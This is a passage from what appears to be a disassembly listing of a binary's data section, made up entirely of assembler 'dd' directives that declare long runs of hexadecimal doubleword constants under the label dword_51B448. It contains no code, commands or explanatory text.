		dd 969CA8D9h, 0F899E03Eh, 3ECA9100h, 4F9F0D2Fh,	0EB9E007Ah
		dd 0FED166BDh, 87178E27h, 19007418h, 0D24AD4AEh, 0EDA30319h
		dd 359E8861h, 4D2A1DB8h, 0BA284CE6h, 0D101BC01h, 0A9DDFD07h
		dd 0CB3028DBh, 97540056h, 39E65F45h, 85000858h,	0D7DD2747h
		dd 729F64A1h, 8602005Ch, 67B33C1Eh, 70C0BB18h, 6A442EB6h
		dd 550E007Eh, 2133D738h, 0BB06E6A1h, 9BAC90BDh,	6A010028h
		dd 0E4AE752Eh, 2EB88991h, 20530F00h, 7D1F455Eh,	4A6612F0h
		dd 0FA080EC6h, 953435C0h, 85F48AA5h, 6FECA200h,	0D0378365h
		dd 1AF659h, 54B411C8h, 7498A37Dh, 4AB21E00h, 0D97201D5h
		dd 0B5CA170Ch, 491F0076h, 297D6C4Bh, 740E2B7Ah,	1DFB64D4h
		dd 9FC1E0ADh, 39FE0083h, 4612A277h, 5D00BF17h, 0D9862CB2h
		dd 0DF2313h, 404DE316h,	1FA6486Ah, 9BBA7300h, 90137843h
		dd 0AD8B4835h, 1DAB707h, 0AE65308Eh, 0CE007B63h, 0F3271D24h
		dd 0F59A872h, 8BBEB70Dh, 9702120h, 0FF0EFD08h, 4EDAE70Bh
		dd 0CAE264B0h, 8CC03BC4h, 1816D5h, 7D475F66h, 14F2AD6Eh
		dd 0E8210700h, 787F8569h, 4BEA42h, 59106A50h, 0FABD47C5h
		dd 0A3D40400h, 0C32C9870h, 0E99000AEh, 2826167Fh, 5500A2B1h
		dd 20AC6FEFh, 5A68E4h, 985D6592h, 88D11A61h, 0D8793Bh
		dd 30F51BDh, 0A469D4h, 0F3BC3DDCh, 0FDD3AD75h, 0C3B60D01h
		dd 2506AF41h, 89ED5880h, 0E9CFBB9h, 0B36C2400h,	72211952h
		dd 927404BFh, 80F73D16h, 11BA9699h, 5298A800h, 0CA03B30Bh
		dd 4980008Dh, 0DC1226FCh
dword_51B448	dd 282C5D30h, 3403E66Dh, 98F3BF74h, 0F799CCh, 0C3DD980Bh
		dd 734FF6D2h, 6BCEC600h, 0FF86A31Bh, 5B74073Ch,	300678FEh
		dd 4B54E684h, 0BC427300h, 0F515B209h, 64B0035Ah, 97B61CDAh
		dd 0F8C93D98h, 3A00837Fh, 0A586F56Ch, 456F68h, 0A4154FAFh
		dd 0D0413BC4h, 72C3E000h, 39195FFDh, 0AE6F00DEh, 8CB0F71Bh
		dd 970471EDh, 0CE141677h, 0B3095380h, 9A150EE7h, 4B20BBE9h
		dd 609B0F88h, 1400197Fh, 840D95Fh, 3E28AE64h, 0B83C91F6h
		dd 0E2C2D700h, 0A970AC76h, 2BA82A00h, 32397915h, 68F30010h
		dd 9F5735A4h, 365051D1h, 0E513A188h, 9C004079h,	9D97437Ah
		dd 0C4740719h, 90BD0AF6h, 0B99B20ADh, 4218905h,	1EC08ECBh
		dd 24F3AAF9h, 385235h, 61970715h, 3C713B6Fh, 0D4C0C1Ch
		dd 76E95C40h, 3A67EBBAh, 709C50D8h, 7E4B802Ch, 0C3C58506h
		dd 21DE1901h, 0CCDC3094h, 566160h, 7D3AE723h, 0DEE98BECh
		dd 3241FF16h, 85DAA900h, 0E6E7E622h, 688762Ch, 9176FDBh
		dd 56FA1055h, 64676100h, 73840151h, 0D4B20380h,	33D09AFEh
		dd 2AD8E580h, 531D397Eh, 0D580236Fh, 198CE429h,	0C0E8003Fh
		dd 3A7424C9h, 9800F1DAh, 0B1EFA055h, 0E6859FDh,	1682AEAAh
		dd 0B030B3C0h, 9D00FB57h, 6DE338ECh, 92F715h, 56D2822Dh
		dd 1A707A96h, 3408890Fh, 94BD0350h, 4EC1D829h, 0DFCA0043h
		dd 0EED76466h, 331EE7A5h, 9340857Dh, 1BB36F23h,	0CFDA0F17h
		dd 0FBCFE6E8h, 22C1A9E3h, 0AA853CFAh, 1E5AC009h, 9A0CF899h
		dd 28C4BD60h, 51500095h, 0FD14E775h, 34B82631h,	0C5D17A00h
		dd 9E0F898Ah, 34442C83h, 75303C5h, 1A8096F1h, 8E3CE4E5h
		dd 7393802Dh, 38153C02h, 566807C7h, 709FF225h, 0BC5B474Ch
		dd 12F3EB00h, 8DEF747Eh, 0E3770093h, 64E1FC3h, 81005A9Ah
		dd 535B61BEh, 77FF082h,	8D1432B1h, 90AE279Dh, 5B0F1BB0h
		dd 612AF503h, 0B0183C96h, 94441Fh, 0F86EDEA3h, 9E828C9Fh
		dd 5CBB5700h, 0FAA1B9EDh, 35CB0137h, 0E00B6E1Eh, 0E6EAF892h
		dd 0C4C33200h, 80E11B9Ah, 4F190744h, 40D1FEA2h,	5940907h
		dd 0CC74B37Bh, 873BCF00h, 5BF7CED7h, 734370B1h,	96B21DE0h
		dd 0EE8D4002h, 0D08CF97Ah, 2E11E3Eh, 0E7FB79ACh, 27D8A95Dh
		dd 1DD0CF34h, 0F0C11B9Fh, 0E0509085h, 0F0A92637h, 467F005Ch
		dd 0C986E0Eh, 96002D74h, 0B159A6F2h, 0EEBB38D3h, 0D63902EFh
		dd 3ECDBFCEh, 40899C40h, 19E22817h, 3B96D100h, 6C2B10h
		dd 1CC8AE0h, 0C424B020h, 9A058300h, 0B4DEC05Fh,	45D80084h
		dd 0FF59554Bh, 7000A44Eh, 8ADA9474h, 98768C63h,	5FFCECh
		dd 6BCB2B03h, 0CC4C373Dh, 0FA2A3Ah, 0F5D1C1CEh,	3E7C1B44h
		dd 7F803839h, 59D39C55h, 40C077F7h, 0C54CA15Fh,	0BA29009Eh
		dd 0C9738863h, 45F064AEh, 218DC0F1h, 1BC3F000h,	0F65AE37Bh
		dd 14E509FEh, 388F76FFh, 29D7840h, 0DE78564Ch, 8329700h
		dd 61B3943Bh, 13E90752h, 40985B4Eh, 3464BA5Ah, 87409639h
		dd 62A7BE82h, 0F03759F3h, 0C709EFAh, 57D01417h,	0A9005DC0h
		dd 0C21971B4h, 0E35863D7h, 0A5EBECh, 72774134h,	39A41A21h
		dd 0BFEE500h, 739479E4h, 44934C35h, 3C37E6C0h, 0C102B6D4h
		dd 487BB1E2h, 3AA6E1FCh, 73064730h, 59AF0062h, 4CA5223Fh
		dd 7E09CDC8h, 0DEBC5E1Bh, 425D03AAh, 0C1F89863h, 760F7ABEh
		dd 0A062D4B5h, 6937EACAh, 82720134h, 991DD9C4h,	0EF30703Bh
		dd 0EC313F00h, 0D2CFDF7Ch, 0B2C70047h, 0BA931BC0h, 0D8F133F8h
		dd 1A1D92FFh, 42003BBBh, 0A520C097h, 1DF30050h,	0B339C4E4h
		dd 0F650496Fh, 0A100AAD0h, 0A972B8A6h, 0A0675D06h, 1D2577A7h
		dd 5EC9C6Ch, 80DEFA39h,	600A0160h, 0DAF98960h, 71B126Fh
		dd 1A0F7F94h, 80F8F507h, 0B5DD4B8h, 0F34F8200h,	753D1B7Dh
		dd 72F3BE6h, 0C2107FB0h, 0DB3C878Ch, 0F97036Ch,	87A70C5Dh
		dd 0CF5700DBh, 5E2F5Fh,	0A2AC8F26h, 40EE322h, 0B0688200h
		dd 2B87B6F2h, 4D9B00A5h, 0CFFB9B3h, 3503B8ECh, 3E761B77h
		dd 0C8509BE6h, 0C990E9h, 52D94F2Fh, 9A473CDDh, 9C633D00h
		dd 0B50141BCh, 0FCEE00FDh, 160C8374h, 0A91F80CBh, 7D800BAFh
		dd 6436483Fh, 41B60747h, 509670EBh, 0A6BF3077h,	80DC903Fh
		dd 0BC2A6832h, 0DA4BBEh, 37D3F6B4h, 65E9C3A4h, 4CF98700h
		dd 5EF83A94h, 0EC1100F4h, 139A66FCh, 0C0006C21h, 6E3D8281h
		dd 0CBC9E8h, 4669D576h,	17CDF0CEh, 0A066BF00h, 0F145FC73h
		dd 860C00D7h, 4C3BF74Eh, 0D0007E9h, 282E37FEh, 1DDD4619h
		dd 80CFF451h, 43C920EDh, 0C409BABEh, 126BA7h, 0BD8D5E0Bh
		dd 0E111CF96h, 4EAA3CA0h, 0B900BEFBh, 58A0E811h, 0E8BCC4F1h
		dd 0A97A0022h, 5485E320h, 31030771h, 40253E01h,	900EA8FAh
		dd 0C17200AEh, 0F46C9D39h, 0F70038DBh, 3B314EF3h, 97BD0Ch
		dd 76E1E8E7h, 0A02DC2E0h, 0DE9AA502h, 0C0B6DBC0h, 18D6292Dh
		dd 85013DDh, 1C00755Fh,	0D2420410h, 7A64024h, 832F3448h
		dd 5630402Ch, 9100BF2Bh, 0EDD084DDh, 0DE58A382h, 53C500F9h
		dd 49209A62h, 8A8D900h,	55EF83A7h, 528E0006h, 0F02BE3CFh
		dd 0F91DA315h, 1B1D6FC4h, 46C99900h, 4CEF98F4h,	74013C08h
		dd 0C8C1AA11h, 0CBF3F441h, 7D16CCE6h, 0AB002F99h, 0C59EF13Ch
		dd 2128488Fh, 82326A05h, 0CEC41D0Fh, 1620070Eh,	6907EDFh
		dd 53614500h, 2A954FC7h, 0BBFB002Dh, 46229AC3h,	0AD008431h
		dd 687709C5h, 6BDCBA6h,	0DD2657Dh, 0C700C07Ch, 0A9E61F9Dh
		dd 0E46BD6h, 2BE557FFh,	0E9CECF17h, 0CA9D0B00h,	70D0A3D2h
		dd 7FD42803h, 0FBBF0098h, 6AC391F7h, 906ECA6Fh,	47BD80A1h
		dd 5718E1h, 327D9705h, 4C4F5341h, 0C8A9C400h, 686D87B4h
		dd 0E49A0057h, 863EEFACh, 2F385514h, 6E9300D7h,	8D2E68A7h
		dd 0ED760095h, 0B5ADF351h, 0E985775h, 1C691A38h, 3318AC38h
		dd 0A9C810h, 0D085AAE9h, 5D63007h, 0FE511B0Eh, 0E7B0B83Fh
		dd 0A7F7009Fh, 0E9CA665Dh, 6F186814h, 0B4B9E472h, 90ACA340h
		dd 0ABEDD4h, 0B5E2A767h, 6BD5E901h, 69794FB8h, 0A0E6E300h
		dd 0FF36AE83h, 40263F3Ch, 0DAF11C00h, 85C4DCBBh, 0ABDA1250h
		dd 3F5E6900h, 0E1DB6D6Ch, 64AD0122h, 9CB2913Ch,	5634701Ch
		dd 1D18A200h, 0FBF64FC2h, 67BA00B3h, 61CE58CDh,	5B009E2Eh
		dd 9189C76Eh, 7979A1C8h, 62DB0086h, 49405E9Ch, 0E171F36Fh
		dd 0A810EE60h, 6789E2h,	0D1C98326h, 0F4ED8D96h,	540B8800h
		dd 3A2F95Ah, 0E26524D0h, 83940310h, 9283C698h, 6E97A4D0h
		dd 900091F2h, 8A1AAB30h, 382DE8h, 0C0F22C71h, 0A7987EB7h
		dd 3A5CB03h, 1EEB13Ch, 5BDE848h, 0D4D8D2B9h, 0E6149854h
		dd 0E09EBBh, 5F328E80h,	8425A6h, 122CD48h, 0B6FEA7EEh
		dd 0F79E9103h, 93850BE5h, 1A0C88FBh, 38E2EFh, 35EBA9D2h
		dd 1E62310Ah, 13110400h, 5E23BF0Ch, 3719002Ch, 87E99B3h
		dd 5A038095h, 67E511EEh, 0C874B38Bh, 5E25C1h, 0BB23FACAh
		dd 30EF7607h, 56A25503h, 989181E1h, 264196h, 0F3069AADh
		dd 0DA3BB982h, 89AE5E03h, 9EAC9BB1h, 56880008h,	0A2247AF7h
		dd 6301BE07h, 4EEF2906h, 0D0CC0D5Ch, 1FD204B6h,	0C07A3826h
		dd 0CFE6220h, 7F4FF001h, 0D231870h, 0D60470h, 0D4895EF3h
		dd 0AFFF8E95h, 5BA3A00h, 0AED999A1h, 0B0EB2EAAh, 0BFB600A8h
		dd 161B415Ch, 3A894558h, 6920006Ah, 8663D91Dh, 48124875h
		dd 0B9C7CF1Dh, 0C345BE00h, 20717348h, 81CCA12h,	1F571C01h
		dd 0D440E028h, 43A184Fh
		dd 3D72420Fh, 0D8F3C0DEh, 0A00CDCAh, 11D523E1h,	1CE9946h
		dd 0F7945A98h, 0E96A2AEAh, 0CC50DDBCh, 790F4A1Ah, 60C00F6Ch
		dd 75FED04Bh, 1B350061h, 510A7F33h, 0B201D89Fh,	0F30B7153h
		dd 0A8D3ED80h, 0EF8CF8h, 0D93FE619h, 5A799C49h,	4E4B4Ch
		dd 0F6531875h, 1240C4Ah, 0A73F8011h, 20E7B0C5h,	0B801A1A0h
		dd 0C49CC11Ah, 79F81954h, 9A40003Ah, 0B37C03ABh, 6407D38Ch
		dd 69FB6EECh, 36BFB2D0h, 0E4CB00E5h, 0F72B6324h, 881EC0EDh
		dd 0B34035D3h, 0E0948390h, 41D4CFDh, 4FED4200h,	2A9B6B19h
		dd 0A55E7601h, 413B7926h, 178DE4h, 105930B6h, 6ADDCAAh
		dd 0A75DE102h, 63FDCE27h, 1D0480ACh, 0F85A07E3h, 0B76E0BFBh
		dd 0A78290D0h, 890047DDh, 45E395C3h, 0CCCF74h, 6133B949h
		dd 1F4AA442h, 3A6F3D00h, 76E4472Eh, 3B7E7FC9h, 0A91F8488h
		dd 4CDD80CEh, 7BB3685Dh, 0BF0B6600h, 27AC2BF0h,	1C740358h
		dd 6E4E1F19h, 0D4AE5C80h, 5B00EEFEh, 38DCA6FBh,	261B5h
		dd 394CC67Bh, 4B1382FCh, 0A6F9750Bh, 8BDC03A4h,	6D2A88A1h
		dd 0D5AC0F08h, 0F7404121h, 37E1AAD3h, 0D7ADD0Eh, 0FD88A0B3h
		dd 3BB193Dh, 1D965AE5h,	74905B95h, 9B035FC2h, 0B82CAF50h
		dd 9F40F775h, 0E609128Bh, 0C708C044h, 83A8D341h, 4CD97300h
		dd 0F6E5BF42h, 587B33h,	274F2CC2h, 6FFE0AC7h, 16346B0Fh
		dd 563BA135h, 6AD0FA28h, 0B6F40084h, 0E40E3AC4h, 6871CCDDh
		dd 71D8800h, 708F25BAh,	39F4ED92h, 45A00DFh, 0B9DBFB05h
		dd 0C9E698F6h, 9B1FD700h, 0AA667865h, 0C24500A6h, 0D34C21F0h
		dd 62003E84h, 30AF6ED8h, 6F88D5h, 5B25875Dh, 0A0C49DB5h
		dd 18D6F130h, 7D36F583h, 1C10323h, 0F2CDCF7h, 5D1BCF88h
		dd 455CE700h, 0B8067B46h, 5BE127DAh, 8C20B4DEh,	0C7731316h
		dd 0AD4C4900h, 0E08659h, 0D7074A2Bh, 76B03B4Dh,	409C400h
		dd 0E461DC33h, 23832E2Dh, 6E9D005Fh, 96508D7Bh,	1A160D00h
		dd 0BC873DD5h, 12A70068h, 8352FC20h, 0B900D3AAh, 0BB4625Eh
		dd 0B6652Ah, 80E3093h, 8DEC0F1Bh, 89020F0h, 58A81F4Ah
		dd 0E2F717h, 3C1E2A19h,	0C10076DBh, 0C79D4218h,	8F94F2h
		dd 32DA4D06h, 34818050h, 191E03E2h, 8E89B30Eh, 0AD08001Bh
		dd 7C09A8Bh, 55E78814h,	0F50ED090h, 0EA0C44B8h,	89C9B70h
		dd 0F848B7h, 0F1AB6800h, 9D97379Ah, 0B00046B8h,	9E64CAC0h
		dd 24082F3Fh, 4085A56h,	20D3AD2Eh, 0F652AA15h, 0B330046h
		dd 0FBB47621h, 22012C6Eh, 6CBDF623h, 2FCF71Ch, 2B18004Eh
		dd 0F320A42Dh, 4CE03B57h, 69D62500h, 0DB32683h,	0FC70F653h
		dd 0EA8C0035h, 515D9377h, 4501386Bh, 0FF08EB13h, 0E2C873D6h
		dd 0FC170043h, 0C2D25BE9h, 0BA036DDCh, 0AA139CABh, 2C86FCDBh
		dd 0F213A78h, 0EBA21187h, 103530CFh, 3B0734DEh,	2CD6289h
		dd 0F0B36040h, 0F8583915h, 9B09AC80h, 5167A43Ah, 3228E00h
		dd 1CEFDF4h, 137DEBh, 5A76387Ch, 0DCC1DA69h, 0EC78CB00h
		dd 6716B459h, 4E9029h, 0CA883DADh, 0B619824Fh, 0C3605D03h
		dd 0B09D9A38h, 0F2F059EAh, 112100E8h, 0C0339B55h, 29009030h
		dd 95E722EBh, 0C1B1E8Ch, 1CD0D61Dh, 4FF03610h, 9D80B902h
		dd 405072DAh, 0A8AA6Ch,	0CD38437Eh, 0D9983DB3h,	3418D70Fh
		dd 656E009Ah, 1F45FD12h, 42BB08A4h, 0B49ED46Fh,	0AA2088h
		dd 0AEA135C0h, 5B06EC7Eh, 33B02269h, 3E4270E0h,	138058D4h
		dd 0A235CE50h, 743170EEh, 0AAF6A0BDh, 0F79D3880h, 0ADDB6996h
		dd 74E48D09h, 67DEC1h, 5CACF1C2h, 71005B3Ah, 7C37BDBh
		dd 486A03C5h, 37E8130h,	76F9F5CBh, 801EE179h, 390051DAh
		dd 0EE353738h, 0B4ED3845h, 0A09BC80h, 67DA3A36h, 270C500Fh
		dd 0C0120049h, 4E3BF1h,	16D633E0h, 4192382Ah, 3197AF12h
		dd 0A5D91407h, 0FD1602Ch, 0D32A2556h, 78601AE0h, 6E1E2867h
		dd 0B340D78Bh, 0B70C18E2h, 2FF630D2h, 77646629h, 8903E780h
		dd 44A1088Eh, 7B847219h, 33A88BBh, 4013CA88h, 67457E07h
		dd 861205C1h, 8952A710h, 80F212AAh, 0CED0BFCDh,	0D18E2688h
		dd 0C72C44h, 20236A63h,	9CE8696Bh, 184CC200h, 5CC681CDh
		dd 7E897CA6h, 0A731005Dh, 0B8B587A8h, 2AEE4184h, 4B6FA003h
		dd 0B3C2992Fh, 64C88008h, 83A126F6h, 0B7AB0068h, 0C1B12BE9h
		dd 6523ED00h, 96155014h, 7658008Ah, 9F555FA5h, 0E13E42AAh
		dd 0FA9016F8h, 0C610607h, 0C0303E47h, 3C9A1B9h,	428BB305h
		dd 60F0687Dh, 0D000094Ah, 1D48E84Eh, 7F70EBEh, 1545CFE1h
		dd 891408Eh, 3C05A15Ah,	79135BE7h, 0D6C003C4h, 0B12E7Fh
		dd 0E69938BEh, 91A8292Dh, 0FC1C21EFh, 0A500E905h, 0A4CCE034h
		dd 3071755h, 0DD0CACFDh, 0FCE99849h, 0F54FE061h, 6E02C67Bh
		dd 0D024C297h, 0D1CC61FDh, 21216D8h, 0C5A83FB2h, 948013FAh
		dd 7C71A31Fh, 72FBD700h, 57ECBEC4h, 0D16E00B5h,	0E6F69AEh
		dd 7E003CC5h, 0F74FE80Ch, 0F647EB5Bh, 5054006Bh, 9630A2CAh
		dd 3C00E42Eh, 609001D7h, 0F7CEB0Ch, 26E9ADD8h, 0A01D1901h
		dd 0D18424FFh, 36CCC354h, 57F68F00h, 1E4ABBA3h,	2C58B894h
		dd 1896D080h, 0FD9348FEh, 0EF463300h, 9FF9E77h,	0ADB900C5h
		dd 0E598DBE7h, 0C64D754Ah, 7D1B005Ch, 11E015B0h, 6AC803FCh
		dd 1D533B1Ah, 66CF0CA8h, 0D80F7A00h, 0F548F159h, 22DA036Eh
		dd 0CC1E8842h, 545236D8h, 3FDD8650h, 700063B0h,	0F88F4516h
		dd 8DA8E8h, 873CF2C2h, 0E6FBCED6h, 9D6A2F1Fh, 28146BC2h
		dd 0BC54E0CAh, 3EC70555h, 4ED18Bh, 66DD86CAh, 7D0005DAh
		dd 0E75C3526h, 244BD248h, 8FB0D9h, 0EA19BB1h, 7A00F28Ah
		dd 8E507533h, 62DA6Ch, 13856883h, 0EED16721h, 6E48EB00h
		dd 2B92D8C0h, 7B2F4CB2h, 5E80EA3Fh, 0F0E94AB9h,	9D13554Bh
		dd 880035F1h, 50AA54Fh,	0EFBC0216h, 2B67F04h, 0FEAC42E0h
		dd 0D478A91Fh, 6F8C4083h, 0DA680015h, 5D860D85h, 65743228h
		dd 72314305h, 5DC2624Eh, 0BFB448CEh, 7C520FDEh,	4BA7D2A8h
		dd 2F9A00C8h, 0FE3BA1B3h, 0DE5C00F2h, 0B05F77D0h, 0D4D83A42h
		dd 0F8E89530h, 0D5B09FCEh, 3996C000h, 0A0BE3266h, 7B6100CFh
		dd 0A4245051h, 209057EEh, 0E06D9810h, 43B89D1Eh, 0D989947Ah
		dd 1B1C7CFh, 2488240Fh,	1300A764h, 82A66102h, 5EA9F4h
		dd 0C27FB109h, 0B219CE3Bh, 0C868BD00h, 2466336Fh, 8CAF0067h
		dd 0BA80A8D7h, 436094C7h, 0C50A2B28h, 69FD005Dh, 71BCAA01h
		dd 87132155h, 0A5005A36h, 748509A4h, 19F4DEh, 6F34CA98h
		dd 4F439BE9h, 89833Bh, 0CCD250F5h, 0E1CD6BBh, 84573B7Dh
		dd 26DA63E2h, 41B5AFC0h, 87D34600h, 623F45D5h, 709E002Ch
		dd 305A51E7h, 54FCAB73h, 78960701h, 568A3742h, 74AFD0h
		dd 4A3ADB2Dh, 13A3FF79h, 0F278E70Eh, 0EE544ABCh, 5C45C500h
		dd 9A7F38h, 9B642123h, 0C2772B8Ch, 73319400h, 8B498536h
		dd 0F29900DFh, 4774BE8Ah, 930792FAh, 72AD9DC0h,	7FAEB840h
		dd 2EC3B0D3h, 0EA35332h, 0CDA0227Ch, 645E3589h,	9C4CB128h
		dd 4A044500h, 0B7D15D30h, 7E1F0E1Bh, 6420C942h,	0EB4FBD2Ah
		dd 0F3D90500h, 6A6C3168h, 0A2460074h, 892F294h,	0AB0C11F4h
		dd 262891CCh, 0D5100DCh, 99F21DE5h, 9200C913h, 9C68A2BFh
		dd 0A69E19h, 7B43F651h,	484DE505h, 0EDEA70EFh, 120BC401h
		dd 0C62D681Bh, 21B3DCh,	37299B93h, 88177A6Dh, 6700ADE2h
		dd 156E1273h, 0B84C5E69h, 0A28300B6h, 750C7711h, 35009C3Ch
		dd 0DDAE9F76h, 3BCB58Dh
		dd 9EABB967h, 7EAF9DCDh, 8AD77880h, 0B5007EEAh,	0CE073481h
		dd 11C13ACh, 0FDE2AA35h, 0F0B236A9h, 9A00E47Ch,	0BAC19D1Ah
		dd 713FFE3h, 0BCC2445Bh, 9F7EAF14h, 4067DF7Ah, 0F1CCBAD1h
		dd 0B2004736h, 7ED7913Ch, 3D52F0h, 8BE88138h, 4C587C98h
		dd 0D30088EAh, 0BFBD7B92h, 700751AAh, 60509882h, 0FA7A1957h
		dd 840736F8h, 6739E2A7h, 78A0A850h, 9CC61EA2h, 0DE01BA5Dh
		dd 3DDA4A45h, 5C0DEC46h, 8559F503h, 89E6B2A0h, 0BC409D6Fh
		dd 1447AF17h, 0D4F2D6C4h, 1B68A300h, 94A438FEh,	0CE008BFCh
		dd 0B1756243h, 1F804556h, 7D93BEE8h, 5ABDC783h,	18982D67h
		dd 240594A3h, 1612FB1Bh, 8FDCC5C0h, 85560066h, 9040E2A1h
		dd 0A3E72D2h, 65A88097h, 5387BF83h, 0FC0B0029h,	0A369B8EFh
		dd 0CF0021B4h, 943C79FBh, 9819ABB7h, 0ECCE000Eh, 9F1A1B4Dh
		dd 0E01FE916h, 0F4E8EADBh, 0C8032500h, 0C17019B9h, 2AC00A5h
		dd 6111D390h, 4704BEC2h, 0AD8BB873h, 34E484C0h,	12E86Ch
		dd 4B0B5A45h, 22669942h, 0E9057EFCh, 0B57B0485h, 26C8F401h
		dd 0F4109A94h, 1600B9F8h, 0E69C619Fh, 3E732EEAh, 83F3513h
		dd 83305500h, 0CC3DDEC5h, 0A479930Eh, 7A7EC1B8h, 0CC47F9C0h
		dd 8AC975B0h, 0F85C0A09h, 0C49F29h, 365289EFh, 0EE0045E1h
		dd 684717C6h, 15A1D323h, 0D0B95533h, 32076D01h,	0C830BB91h
		dd 3EAEF9Ah, 87009890h,	0D45B3475h, 70220B3h, 0A1276BC3h
		dd 0C9E07095h, 9E0910A2h, 80A0B69Bh, 0EA11748Dh, 0B032EAC2h
		dd 52B8608Ch, 386D8B17h, 8210C407h, 1A209D49h, 7F92C58Eh
		dd 43373F18h, 0DC577F00h, 0F5B5D856h, 0A860E100h, 18957D0Bh
		dd 75C20059h, 0CE36801Ah, 357B387Ch, 807B3A3Dh,	5C54ED0Eh
		dd 66A348Dh, 6C0F3988h,	43C4844h, 80433A61h, 0CF67069Eh
		dd 0E3E1092h, 42014BF7h, 0BAE04F40h, 8800DB16h,	0E7B5FE21h
		dd 1F98A1C7h, 80478625h, 53D9ABC8h, 0A61E203Bh,	0A8685BA9h
		dd 587524h, 310D2900h, 733B6Ah,	90A02140h, 0A2964333h
		dd 3D0F99F8h, 2E7EA170h, 116C839Ch, 0D265C88Ah,	78160008h
		dd 0D51EA9BDh, 0B8303395h, 64D6DE07h, 81A6240Bh, 46060AC0h
		dd 406B9FDCh, 0F86F325Ch, 3F792705h, 72A07C50h,	293DFF00h
		dd 4A9F662h, 22D700D2h,	55D5E2F1h, 0A6005A8Eh, 3A1B63BAh
		dd 4C6DA067h, 0C51895E6h, 115C4089h, 27B10A1Eh,	0EF987247h
		dd 0AB71C720h, 488300E3h, 387D013Eh, 0C100ACE1h, 0F11A477Fh
		dd 1C46BA70h, 7AC71CE0h, 0B368F500h, 380A8C7Ch,	89A79907h
		dd 3A010FDh, 1054EC9h, 0E8948685h, 0E0A507CBh, 0FE4CF24Ah
		dd 0C0350063h, 9A4EF343h, 0BC3A26E9h, 26D80338h, 0A7F1A8C8h
		dd 189420CBh, 2E103B00h, 5E4D6F6h, 12D7740Eh, 1F963C1h
		dd 0ABDE14F8h, 0AF1C877h, 0F5244301h, 7BA0ACDFh, 581146DCh
		dd 0EE005486h, 4A8B6EBDh, 0FCB2D270h, 6C476800h, 7B4F6A28h
		dd 0A3FC01F9h, 0E0CDADFDh, 20D9D4C5h, 0B416A800h, 26C73046h
		dd 0D27E0933h, 0C400EF70h, 7D3DC97Bh, 0B87C9F07h, 0F6A0FD92h
		dd 266C2A0Fh, 0F701BC8h, 0A88006B2h, 0A79C4718h, 34FE7A00h
		dd 0F2427614h, 0FA60006Ch, 3D9ED245h, 0DD0EC0F7h, 4091B8CBh
		dd 57054115h, 32F60ED0h, 54411E1Ah, 32CBAB74h, 4AA717C4h
		dd 1DEE1900h, 0B830CAB0h, 4ED90E47h, 0F000F7FCh, 0A1FFBB76h
		dd 626A7900h, 0D9459F4Ch, 25F83BB3h, 55E30A00h,	0EF21CBF3h
		dd 3B504B5Ch, 26240F67h, 0AAC0C0DBh, 764EBA9h, 60F5CA0Dh
		dd 1B5880F7h, 1A00540Eh, 973C344Fh, 0C3C46228h,	2FCA8288h
		dd 414967E7h, 0C46717A2h, 6B0202DBh, 0AE0BCDF7h, 1098C038h
		dd 79870070h, 5025BAEAh, 0A67BFBD6h, 0AF5F3D00h, 0C7364E92h
		dd 0EFD10E5Bh, 2E0B242h, 0DE971195h, 1BF38801h,	6DA6160Dh
		dd 602BEFE8h, 0B56C80DFh, 0CD00C154h, 0F393431Ah, 0A0896472h
		dd 0EED1EDFCh, 927D09DBh, 9CA22DF5h, 5C40A9D0h,	0BC00E1F1h
		dd 9917BFB7h, 6AA8F4h, 0C0CBB19Dh, 28ADC3FFh, 653DCA05h
		dd 9EC08E32h, 5B0D767h,	0C11172CFh, 5A60C20Dh, 20B63CC1h
		dd 0DF031558h, 9EAF778Eh, 0CB59C080h, 3F4E0041h, 0EF7A68FDh
		dd 0C1013DB2h, 2B15D7F0h, 0BDEC468Bh, 514C0A2Eh, 87A4FE66h
		dd 0C11CAF34h, 0ECFB9E58h, 29000F28h, 6C378A67h, 0E2B3A8h
		dd 9E432074h, 0D44958F4h, 36B8D4EDh, 1D00C89Ah,	97CB4416h
		dd 98A248h, 8E2EC9CAh, 41598051h, 4F353A00h, 0ABFC712Fh
		dd 5E57002Dh, 0A05F031Dh, 8309598Eh, 8882E74Bh,	0A51FBF50h
		dd 0B3C33AC4h, 6FEEC080h, 38F10218h, 0E01CAC6Bh, 0FBC0C443h
		dd 40E42E94h, 90129200h, 66D39ED4h, 0CF697133h,	5122B010h
		dd 2C40D995h, 0CD00240Dh, 879FC9AAh, 26545CEh, 27C01ACFh
		dd 28E0D278h, 0DC00B7C6h, 2A025BB6h, 0E0E36F51h, 0D4F707A5h
		dd 303DCF15h, 284DEDEAh, 0FB0ABA00h, 1847D01Bh,	626F0035h
		dd 84FD0E17h, 0A20206ACh, 0CA0203DEh, 0F0744191h, 1F30E8h
		dd 0C648744Dh, 0FC260565h, 23B19C00h, 0D53D5DC5h, 8281A09Eh
		dd 0B4B2E6h, 0B1FAFCB6h, 0EDE95114h, 226C2C01h,	0D7103201h
		dd 0A3284283h, 0C00EC53Dh, 0C66A4FBEh, 10F58Fh,	6C3B5F6Fh
		dd 0D3CA4019h, 266DF00Eh, 1BDE4053h, 973123h, 0CE30FA1Ah
		dd 41EC2119h, 20385600h, 0F8B46BBh, 0EDC600D9h,	0C7F8289Ah
		dd 0A400A650h, 0F2E1CABAh, 12E06A04h, 78E8AA2h,	70F61B6Ch
		dd 96BE7891h, 1D1626F0h, 0B40156E9h, 22B289EBh,	0FADAA60h
		dd 0DFD2BA8Bh, 0FE0276A0h, 0F8099BB3h, 80EE86AFh, 428B0C42h
		dd 17B10014h, 0BA3D31A0h, 36E295F3h, 14EDDE24h,	8F5F3C01h
		dd 3C34D7C8h, 9BEE00ABh, 91A1D26Ch, 39129C52h, 6901BBA8h
		dd 405F2EFh, 0B3E4D0h, 5D2EBCE9h, 2210200Eh, 60F73F00h
		dd 2503A273h, 0EB8F0143h, 0B11FE70Dh, 0C081C6F9h, 228A0FF2h
		dd 612301F4h, 0CDE2C636h, 525047Fh, 0A245C16Ch,	0DF386011h
		dd 7CB807F2h, 24B2E400h, 0FFD1D4EEh, 889D0FD7h,	5C7A28h
		dd 611F671Bh, 8907E954h, 0B30AAA6Eh, 75DC4E51h,	2632F5DCh
		dd 9744C1E3h, 0B44D070Eh, 0B682D114h, 0F07AE5D2h, 913E6C02h
		dd 673F0074h, 2B8BC9BCh, 0F88C00A8h, 0B1CF5EFFh, 1300232Dh
		dd 6D337CDDh, 4A358148h, 0E5C4009Eh, 443B63B2h,	0B3BFD517h
		dd 525C4600h, 0E89979h,	0D607C3A7h, 4D64D84Ah, 36C47600h
